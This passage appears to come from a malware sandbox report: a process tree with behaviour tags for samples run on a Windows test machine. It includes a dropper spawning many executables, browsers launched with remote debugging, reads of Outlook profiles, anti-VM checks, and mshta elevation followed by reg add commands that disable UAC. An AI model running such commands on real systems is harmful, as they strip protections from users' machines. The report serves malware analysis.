PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

Hidden Files and Directories

T1564.001

Processes:

attrib.exe

pid	Process
5428	attrib.exe

outlook_office_path 1 IoCs

Processes:

gvndxfghs.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	gvndxfghs.exe

outlook_win_path 1 IoCs

Processes:

gvndxfghs.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	gvndxfghs.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3540
- C:\Program Files\7-Zip\7zFM.exe
  "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Downloaders.zip"
  2⤵
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2120
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2848
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffffd8ccc40,0x7ffffd8ccc4c,0x7ffffd8ccc58
    3⤵
    PID:4256
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2032,i,10628847526670481716,11833010858721163792,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1960 /prefetch:2
    3⤵
    PID:1752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1848,i,10628847526670481716,11833010858721163792,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2164 /prefetch:3
    3⤵
    PID:640
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2292,i,10628847526670481716,11833010858721163792,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2320 /prefetch:8
    3⤵
    PID:2896
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3140,i,10628847526670481716,11833010858721163792,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3160 /prefetch:1
    3⤵
    PID:4088
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3168,i,10628847526670481716,11833010858721163792,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3208 /prefetch:1
    3⤵
    PID:612
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3700,i,10628847526670481716,11833010858721163792,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4552 /prefetch:1
    3⤵
    PID:4332
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  PID:3704
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe"
    3⤵
    - Sets desktop wallpaper using registry
    - Checks processor information in registry
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:852
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2008 -parentBuildID 20240401114208 -prefsHandle 1936 -prefMapHandle 1928 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {89f0bc6e-3c92-45f1-be38-ad7c919be9bc} 852 "\\.\pipe\gecko-crash-server-pipe.852" gpu
      4⤵
      PID:4940
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2412 -parentBuildID 20240401114208 -prefsHandle 2404 -prefMapHandle 2392 -prefsLen 23716 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3c008d2e-3f5f-487e-ba83-5b75eab7b7e7} 852 "\\.\pipe\gecko-crash-server-pipe.852" socket
      4⤵
      PID:552
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2868 -childID 1 -isForBrowser -prefsHandle 3116 -prefMapHandle 2964 -prefsLen 23857 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5b40a967-8ce1-4454-bdc6-c08266bfe3ec} 852 "\\.\pipe\gecko-crash-server-pipe.852" tab
      4⤵
      PID:4344
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4120 -childID 2 -isForBrowser -prefsHandle 4112 -prefMapHandle 3712 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {65685861-8eb3-4b0c-a12e-e8fbb45c0272} 852 "\\.\pipe\gecko-crash-server-pipe.852" tab
      4⤵
      PID:2636
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4720 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4728 -prefMapHandle 4116 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0f80aabe-99dd-49f1-b023-14b09c7daef6} 852 "\\.\pipe\gecko-crash-server-pipe.852" utility
      4⤵
      Checks processor information in registry
      PID:5364
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5160 -childID 3 -isForBrowser -prefsHandle 5056 -prefMapHandle 4716 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {15a2571e-2846-44da-84da-1e28261cb73b} 852 "\\.\pipe\gecko-crash-server-pipe.852" tab
      4⤵
      PID:5832
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2748 -childID 4 -isForBrowser -prefsHandle 5420 -prefMapHandle 5424 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {749a0ad1-b472-47d6-a6fc-e1371c43eca6} 852 "\\.\pipe\gecko-crash-server-pipe.852" tab
      4⤵
      PID:5852
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5408 -childID 5 -isForBrowser -prefsHandle 5620 -prefMapHandle 5624 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {814f6938-3e66-48a8-97b2-867ce71bb527} 852 "\\.\pipe\gecko-crash-server-pipe.852" tab
      4⤵
      PID:5864
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6132 -childID 6 -isForBrowser -prefsHandle 2324 -prefMapHandle 6100 -prefsLen 27211 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4c9f164b-9972-4dd9-8599-b1fe329bf7fd} 852 "\\.\pipe\gecko-crash-server-pipe.852" tab
      4⤵
      PID:772
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6372 -childID 7 -isForBrowser -prefsHandle 5480 -prefMapHandle 5280 -prefsLen 27211 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {32ca7949-d2a2-4e7f-b966-bb196b2ee2f1} 852 "\\.\pipe\gecko-crash-server-pipe.852" tab
      4⤵
      PID:5812
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4680 -childID 8 -isForBrowser -prefsHandle 5116 -prefMapHandle 4676 -prefsLen 27777 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d8a2a239-9e0b-46d3-82ce-5924e3797577} 852 "\\.\pipe\gecko-crash-server-pipe.852" tab
      4⤵
      PID:5288
- C:\Users\Admin\Desktop\New Text Document mod.exse\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exse\New Text Document mod.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3288
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\Winsvc.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\Winsvc.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Drops startup file
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    PID:6140
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:5468
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\TPB-1.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\TPB-1.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:6716
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
      4⤵
      Uses browser remote debugging
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      PID:2484
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffffd8ecc40,0x7ffffd8ecc4c,0x7ffffd8ecc58
        5⤵
        
        PID:1984
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2316,i,3664282635035278440,15497815861165375086,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2312 /prefetch:2
        5⤵
        
        PID:2892
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1740,i,3664282635035278440,15497815861165375086,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2348 /prefetch:3
        5⤵
        
        PID:2824
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=1972,i,3664282635035278440,15497815861165375086,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2452 /prefetch:8
        5⤵
        
        PID:4356
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3180,i,3664282635035278440,15497815861165375086,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3220 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:7116
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3188,i,3664282635035278440,15497815861165375086,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3380 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:592
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4488,i,3664282635035278440,15497815861165375086,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4492 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:6628
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4724,i,3664282635035278440,15497815861165375086,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4704 /prefetch:8
        5⤵
        
        PID:7928
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
      4⤵
      Uses browser remote debugging
      PID:8776
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffff81746f8,0x7ffff8174708,0x7ffff8174718
        5⤵
        
        PID:8832
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 1084
      4⤵
      Program crash
      PID:7116
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\gvndxfghs.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\gvndxfghs.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6324
  - - C:\Users\Admin\Desktop\New Text Document mod.exse\a\gvndxfghs.exe
      "C:\Users\Admin\Desktop\New Text Document mod.exse\a\gvndxfghs.exe"
      4⤵
      Executes dropped EXE
      Accesses Microsoft Outlook profiles
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:8032
  - - C:\Users\Admin\Desktop\New Text Document mod.exse\a\gvndxfghs.exe
      "C:\Users\Admin\Desktop\New Text Document mod.exse\a\gvndxfghs.exe"
      4⤵
      Executes dropped EXE
      PID:8176
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8176 -s 80
        5⤵
        Program crash
        
        PID:4364
  - - C:\Users\Admin\Desktop\New Text Document mod.exse\a\gvndxfghs.exe
      "C:\Users\Admin\Desktop\New Text Document mod.exse\a\gvndxfghs.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:8116
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\random.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\random.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:2260
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 1412
      4⤵
      Program crash
      PID:7720
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\xblkpfZ8Y4.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\xblkpfZ8Y4.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5868
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\test26.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\test26.exe"
    3⤵
    - Executes dropped EXE
    PID:7648
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\test29.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\test29.exe"
    3⤵
    - Executes dropped EXE
    PID:7560
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\test24.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\test24.exe"
    3⤵
    - Executes dropped EXE
    PID:7692
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\tik-tok-1.0.5.0-installer_iPXA-F1.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\tik-tok-1.0.5.0-installer_iPXA-F1.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:8800
- - C:\Users\Admin\Desktop\New Text Document mod.exse\a\papa_hr_build.exe
    "C:\Users\Admin\Desktop\New Text Document mod.exse\a\papa_hr_build.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:6340
  - - C:\Users\Admin\Desktop\New Text Document mod.exse\a\papa_hr_build.exe
      "C:\Users\Admin\Desktop\New Text Document mod.exse\a\papa_hr_build.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:6700
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6700 -s 1280
        5⤵
        Program crash
        
        PID:8472
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6700 -s 1280
        5⤵
        Program crash
        
        PID:2944
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6340 -s 296
      4⤵
      Program crash
      PID:6420
- C:\Users\Admin\Desktop\4363463463464363463463463\4363463463464363463463463.exe
  "C:\Users\Admin\Desktop\4363463463464363463463463\4363463463464363463463463.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:2876
- - C:\Users\Admin\Desktop\4363463463464363463463463\Files\pornhub_downloader.exe
    "C:\Users\Admin\Desktop\4363463463464363463463463\Files\pornhub_downloader.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:2100
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3B1B.tmp\3B1C.tmp\3B1D.bat C:\Users\Admin\Desktop\4363463463464363463463463\Files\pornhub_downloader.exe"
      4⤵
      PID:5808
    - - C:\Windows\system32\mshta.exe
        
        mshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\Desktop\436346~1\Files\PORNHU~1.EXE","goto :target","","runas",1)(window.close)
        5⤵
        Checks computer location settings
        Access Token Manipulation: Create Process with Token
        
        PID:6108
      - C:\Users\Admin\Desktop\436346~1\Files\PORNHU~1.EXE
        
        "C:\Users\Admin\Desktop\436346~1\Files\PORNHU~1.EXE" goto :target
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:6128
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3CA2.tmp\3CA3.tmp\3CA4.bat C:\Users\Admin\Desktop\436346~1\Files\PORNHU~1.EXE goto :target"
        7⤵
        
        PID:4008
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F
        8⤵
        UAC bypass
        
        PID:3764
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F
        8⤵
        UAC bypass
        
        PID:1744
        
        C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F
        8⤵
        UAC bypass
        
        PID:632
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg query HKEY_CLASSES_ROOT\http\shell\open\command"
        8⤵
        
        PID:4652
        
        C:\Windows\system32\reg.exe
        
        reg query HKEY_CLASSES_ROOT\http\shell\open\command
        9⤵
        
        PID:1516
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.pornhub.com/
        8⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:4496
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffff81746f8,0x7ffff8174708,0x7ffff8174718
        9⤵
        
        PID:5452
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2188,1797800948352853437,7983498651820736367,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2200 /prefetch:2
        9⤵
        
        PID:3300
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2188,1797800948352853437,7983498651820736367,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 /prefetch:3
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:824
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2188,1797800948352853437,7983498651820736367,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2808 /prefetch:8
        9⤵
        
        PID:2984
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,1797800948352853437,7983498651820736367,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:1
        9⤵
        
        PID:4452
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
